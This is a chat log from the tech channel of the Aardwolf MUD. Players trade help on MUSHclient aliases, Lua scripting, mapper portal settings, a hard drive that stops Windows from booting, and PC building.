T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: to only trigger off scores greater than 100, make a pattern that matches only numbers with a minimum length of 3 (\d{3,} it how I think it would go).
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Doink Tech: Maybe I can hire a scripter to write what I need..  Sort of like what you guys were talking about last night. Would like to be able to compare 100 skins, and trigger keep any over a certain score.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: all of this is scripting, though.  Scripting doesn't mean just the lua/plugin stuff.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: what's a good way to label thumb drives?  I was looking at some and they range in size from about the size of my thumb all the way down to something just barely bigger than the slot it plugs into.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Straeldryn Tech: old school ticky tape, tried and true ;-)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: like masking tape?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Straeldryn Tech: no, those little machines that punch letters in a plastic tape
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Hanslanda Tech: ah, labelmaker tape?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Straeldryn Tech: ticky tape is probably not the correct term
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tigernuts Tech: dynolabel
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Kelvar Tech: or you can buy the ones with metallic skins and have them engraved
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: Kelvar stares at the sky.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Straeldryn Tech: you all might appreciate this:
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Straeldryn Tech: http://www.datamancer.net/steampunklaptop/steampunklaptop.htm
T3/r7/2013-01-09.txt.gz:{chan ch=tech}WarPigs Tech: Anybody d/l PhotoShop 9 or Acrobat 8 from Adobe?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Revia Tech: whenever i open a door, why does the prompt pop up twice in a row?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Legendary Gruagach Tech: thats jesus closing a window
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: because you're asking the MUD to send you the ASCII map again, so that it can update with your new line-of-sight
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Revia Tech: that's pro knowledge. thanks
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Pleiades Tech: any VI players on that use vipmud?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Nerine Tech: I'm using the flash client provided on the website
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Nerine Tech: is there a way to pop out the map?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: to a separate window? no
T3/r7/2013-01-09.txt.gz:{chan ch=tech}BobTheGreat Tech: No there is no way. You must use a more extensible client like Mushclient
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: Got a question/favor to ask any online service professsionals
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: ask it, asking to ask is silly
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: Anyone online right now have access to the Dell DCSE site?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I need to get a copy of the expanded service manual for my gf's gaming laptop, the user service manual is terrible
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: But of course its restricted to Dell Authorized Service Agentss
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Does that guy's online service manual's site still exist?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: All of them i've found online so far are copies of the user service manuals
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: hmm, I've never had trouble using the anyone-can-download service manuals to totally rip apart dell laptops
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I don't forsee trouble, just trying to be prepared, the thing is a behemoth
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: So long as you have the mobo specs, everything else shouldn't be an issue, I would guess
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Tech: dunno that there even is a tech-only version, as the regular one walks through everything
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I know there definitely is, especially for the M1730, the real difference between the two being expanded and more detailed disassembly photos
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I can get access to it from a friend, but he's going to be laid up for like a week, and I was hoping to get cracking tonight.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: I'll keep looking then, thanks anyway guys.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Cadriel Tech: (Not sarcasm)
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Any pythoners among us? Looking for a learning python resource which doesn't assume it's my first programming language, anyone have a good one?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aravis Tech: for the aardwolf mushclient, is there a way to keep it from displaying all the updates/changes between versions whenever I log on? all that info is keeping my screenreader from reading info. I need lol
T3/r7/2013-01-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can disable the update check plugin, but then you won't know about updates
T3/r7/2013-01-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I will also point out that you opted in to receive update notices
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Mye Tech: but.. can the human icentipad read?
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aravis Tech: lol well I didn't know how it would affect screenreader. guess I'll just work around it as best I can.
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Can select the ignore option, then the only time you see it is when there's new updates
T3/r7/2013-01-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you don't need to work around it. just uninstall the update checker plugin and periodically check manually
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Vakieh Tech: Which isn't all that often
T3/r7/2013-01-09.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also what vakieh said
T3/r7/2013-01-09.txt.gz:{chan ch=tech}Aravis Tech: cool thanks.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: is there any way to get the aardmapper to use my darklight portal over the vidblain kludge?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can level lock the exits into the hole
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Revia Tech: is there a way to get to a room using its id (in command line)?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: if you're using the mapper yes
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: mapper goto <id>
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Revia Tech: awesome. thanks!
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: is there a way to make the mapper prioritize a portal over vidblain?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Cam.. what do you mean?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Mapper will find shortest path it knows about
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: when I run to Imperial Nation or Darklight, the mapper goes to vidblain first, then uses my portal
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: I wonder how to make it just use the portal without doing vidblain first
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Hmmmm.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sounds like you just did something wrong
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: And your portals are set up correctly in the mapper?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: every one is done the same way
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: I have the vidblain fix on
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: "the vidblain fix on" is not a phrase that is meaningful without explanation
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: It seems like the portals were maybe added as cexits or something instead of held portals
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: there is an option to make it (if you dont have a portal), properly parse vidblain speedruns
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no there isn't
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: heh maybe it's S&D then
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: actually it probably is
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: I thought that one was mapper side
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Daloran Tech: Ah. Can't help you there.. but thats not an option in them apper i know of
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Holiday in Cambodia Tech: anyway S&D is evil so I guess it doesn't matter
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: is there any commands to reset aardwolf back to standard install?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: aardwolf mushclient
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Jhav Tech: Just delete the folder and unzip a new copy.  You might want to save your mapper db first, though.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: yea i'd like to save my aliases and such too
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Jhav Tech: Ah, for that you can just save your world file as well (the one with a .mcl extension)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ixle Tech: Can he just replace his plugins folder with a clean one from a new install?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: oh thats a good idea
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: what are the commands to see my current cexits?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nao Tech: mapper cexits + here for area
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: great, im kidding an error now
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: and this was from a backup i made earlier
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Alias function "custom_exit_list" not found or had a previous error.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: ok... wow that was bizarre
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: my DB file wasn't working on a new install
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: managed to get my other copy on dropbox to work
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: anyone familiar with Bast's pluglins?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: hiya, i think i have a bad hard drive... 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Run disk check?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i have 2 HDs on my cdesktop, when i connect one of them it fails to boot into windows
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i pulled out the sata connection and it boots fine
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Fails to detect, or windows fails to load?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: fails to load
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i get the windows splash screen for a while
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: then it moves to a blackscreen and hangs
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Tried seeing what BIOS thinks of it?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: hmm, not yet
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Possible the boot order is affected, and you have a dodgy copy of windows on the 2nd HDD from some other machine or something? I did that once, transferring old stuff to a new computer
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: assuming bios detects it, any idea what might the problem be?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: nope
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: This internal SATA?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i haven't used my pc for 4 months, but it booted fine yesterday
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: yea internal sata hd
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Try booting windows into safe mode, which version you running?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: couldn't boot safe mode
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: xp 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Safe mode failed? Wow, that's a first...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: yea... i thought it might have been a buggy program or something, but safe mode just hangs during boot up too
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Try putting another OS onto a flash drive, so you know there's no corruption in the OS, and boot from it to check out the drive
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i can boot up fine when the hard disk is not connected
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: so i would assume OS is ok
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: oh hmm
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: ok i think i can try that
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Try it anyways - just so you can get access to the drive while it's connected, see exactly what files are on there, and run disk check software. I use HD Sentinel, but most are ok
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: i know only one critical file is there
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: my mush install folder :p
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Redryn Tech: is hd sentinel a flash bootable os? or any recommendations?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: Nah, HD Sentinel is a Windows based disk checking program, but if you're booting from flash easier to use Ubuntu or something - others will have a better idea than me of what's good to use with that
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Runtur Vanion Tech: i remember vaugely you could use bartPe to create bootable disks
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Runtur Vanion Tech: then again ive used spinrite for a long time
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: yeah bartpe if you have an optical drive
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: it will let you chkdsk
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Half-Baked Eggplant Tech: trying to swap over to the mushclient and for some reason the main window isnt working right, any ideas?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Half-Baked Eggplant Tech: its not showing anything but the commands i type
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Shaboom Tech: how do i create an alias to send a command to a plugin in mushclient? trying to shorten mapper where <uid> to mw <uid>. simple i know, but, newbie at this whole alias stuff. tried to figure out from mush wiki, but, too foreign for me to really understand yet.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: sendTo execute ?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: in the alias send to drop-down, select execute
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Shaboom Tech: ah...makes sense. will try out and ty.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: send to world sends it to aard, so the plugins don't see it...send to execute pretends that you typed it into the command line, so other aliases are called as well
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: and send to script allows you to put lua functions, etc. into it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Shaboom Tech: It worked, and ty. Understood everything up to lua functions. :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: hehe, so never choose that one ;-)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Shaboom Tech: Got a feeling I'll be trying to figure that part out too at some point though. :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: If I am building a computer from scratch, do i need to put Thermal Gel on the cpu before attaching it to the motherboard?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: no, you do it before attaching the heat sink
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: sorry that is what i meant
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: but you need to apply it the first time right?  FOr some reason i thought it only applied to subsequent additions
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: think about it in context
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: ok better question then.  Is it absolutely 100% needed to have the gel on there?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: or is it more of a precautionary thing
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: what is the function of the gel ?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: fuse the two together?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: no
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: to better enable heat transfer from the cpu to the heatsink
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Lecithin Tech: So its not required, but its a damn good idea if you want optimal heat transfer?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aliens Tech: yes
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Shaboom Tech: I just started getting (Trigger function "invmon" not found or had a previous error.) error everytime i get something from/to inventory. Reloaded mneq and bimon plugins (BAST) and still getting error. Any other ideas? Been running Bast's plugins for a while now and no real problems up to now.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ontuct Tech: how much time and productivity do you suppose is lost to doing software updates?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: why lost?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ontuct Tech: from sitting around to wait for windows, or adobe, or whatever to upgrade itself.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: you mean, how much time is lost due to system actions (which in your case include upgrades)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: though you cannot simply tell, that if update / upgrade takes 10 hours per month, then you've lost it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: this is similar to saying, that you waste 1 hour daily for taking backups
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: which are pretty useless, unless you need to use them
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Ontuct Tech: a lot of updates are to protect us from pthers who want into our pcs not to make them run smoother.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: I could reformulate question, how much time is lost due to using MS Win 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Trachx Tech: as usually Linux systems needs less maintenance
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Anyone know of a good mob kill tracker? One that averages gold etc?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: I tried using bastmush's but i couldnt get the tabs to show up on his stat window.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Anyone know if i need to do anything to get Winkles sound pack to work?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: for quest alerts etc
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: ah there we go, needed to install the plugin :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Aizma Tech: That usually helps. :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: It didn't mention it in the install notes :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: i usaully follow them to the T after my last mess up
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: there a way to only turn the global channel on? (turn all others off)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Which global channel?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: global quest, sorry
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Book of Etzli Tech: You can turn any channel on/off by typing it's name.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: guess i can make an alias :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i'm blanking... how do you check if a number is an integer in lua?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: a%1==0
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: just googled that :P
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: thanks :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: i believe % is the functoin that works 0 or 1 on even or something
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: forgot what its called exactly
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: % is modulus
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: ah yeah modulus :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Siren Cera Tech: my stat monitor isnt firing.  (bast)  how do i turn it on?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Siren Cera Tech: im not getting the tell to channel of choise after leveling or questing
T3/r7/2013-01-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: geeks. search google gravity. 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: how do you pass a standard variable through a lua script?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: in mush, you get it with GetVariable
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Send ("pell")  Doesn't access the variable.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Send ("@spell") 
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Send(GetVariable("spell"))
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: Send(GetVariable("spell"))
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Tech: Haldrik ) thanks guys
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Send("@spell") will send the literal string "@spell" to the MUD, if i'm not mistaken.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Crash mess with the mapper at all. Alot of my mapper goto's arent working. Anyone else experience problems today?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: yea thats what it does, hehe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: mines been fine Doink
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: i was here for crash
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So was I, my map's fine.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Thanks, mine seems fubarred.. prolly havent backed up in a while to ><
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: you turned off the autobackup?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Its on.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: something must have changed and auto saved
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Oh, right... you'd back up the fubar stuff too
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: When I do a mapper goto it says, Walking to: On the Edge of a Dark Forest, down, No point doing this while you are speedwalking., run wse3s
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: never seen that, "No point doing this while you are speedwalking" message before.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: reload the mapper plugin
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: reload it
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: which plugin exactly :), thanks to btw.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Aardwolf_GMCP_mapper or whatever
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Bast Tech: aardwolf_gmcp_mapper
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Cool, ill give it a try, thanks guys.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: When you say reload, does that mean to reinstall it? Tried disable, enable, didnt work.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You can reinstall, you'll be fine
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: have you tried reboot mushclient Doink?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: All the settings are stored in the .db file, not the plugin
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: reinstall just disables and enables, i believe
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It also clears state, i though?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Have tried rebooting. Reinstall didnt do the trick either sadly.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: might be a mushclient then thing
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Try uninstalling it, then installing a fresh copy from fiendish's site?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Worth a shot, ill try. Thanks.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's always possible it got corrupted somehow
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: just save your DB
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: You know what happened... I figued it out.  Amazons clan maze... same name as the 1st room in Amazon area.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: So its "bugged" amazon, which was my speedwalk to werewood.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Weird :) glad u figured it out
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Or... I added an alias, amazon, to mappergoto the maze entrance
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just go to amazon's open hall and mapper purgezone
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Thanks Myrk. Ill try that.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Anyone have a link to lua commands like "getvariable" etc?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: I found a list awhile ago but cant seem to find it again
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: http://www.mushclient.com/scripts/function.php
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: perfect
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Doink Tech: Better yet, my own stupidity broke it. My amazon portal alias was amazon, then I made a amazon alias to mapper goto maze entrance... ffs. Thanks all for the help.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lol
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: hmmm.. how to pass %1 through to an alias in lua?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: You mean * ?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: Yeah
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: sorry
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: This in GUI w/send to script, or plugin?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: I was thinking Getalias("spell")
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: send to script
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: but clearly that doesnt work
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Vakieh Tech: GetAliasWildcard
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Haldrik Tech: derp, 3 lines down, thanks much :)
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: anyone help me with a nagging mapper problem?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: whats up
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: ive been starting to set up my portals and really using mapper in last few days.. been adding my portals as i get to level that i can use them...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: i did play with it several months ago adding some but then removed and started over
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: anyway when i mapper goto maelstrom ( i have this room id set up) it trys to get my illorian portal (which i cant use) and stops me a few rooms later
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: set up your levels on the portals...
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: when you do 'mapper portal foobar' it asks you to set a level, always set it to the portal level as it'll take tiers into account.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: im sure i have my portals set up correctly, i use the portal id# to get out of bag and replace
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: that means you put in the level for illorian portal wrong.  Delete it out and put it back in with right level
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mokg Tech: hmm odd, my illoria portal works at all levels
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Nanak Tech: no it is correct im sure, here is the thing....
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Tiers, Mokg, tiers
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Your alias may be fine, but if it's trying to use it too early, you didn't set the level of the portal correctly. end of story.
T3/r7/2013-01-10.txt.gz:{chan ch=tech}Mokg Tech: type mapper portals. what level does it say next to your illoria portal?
T3/r7/2013-01-10.txt.gz:{chan ch=tech}RedRain Tech: do mapper portals... last column for illoria portal... what is number
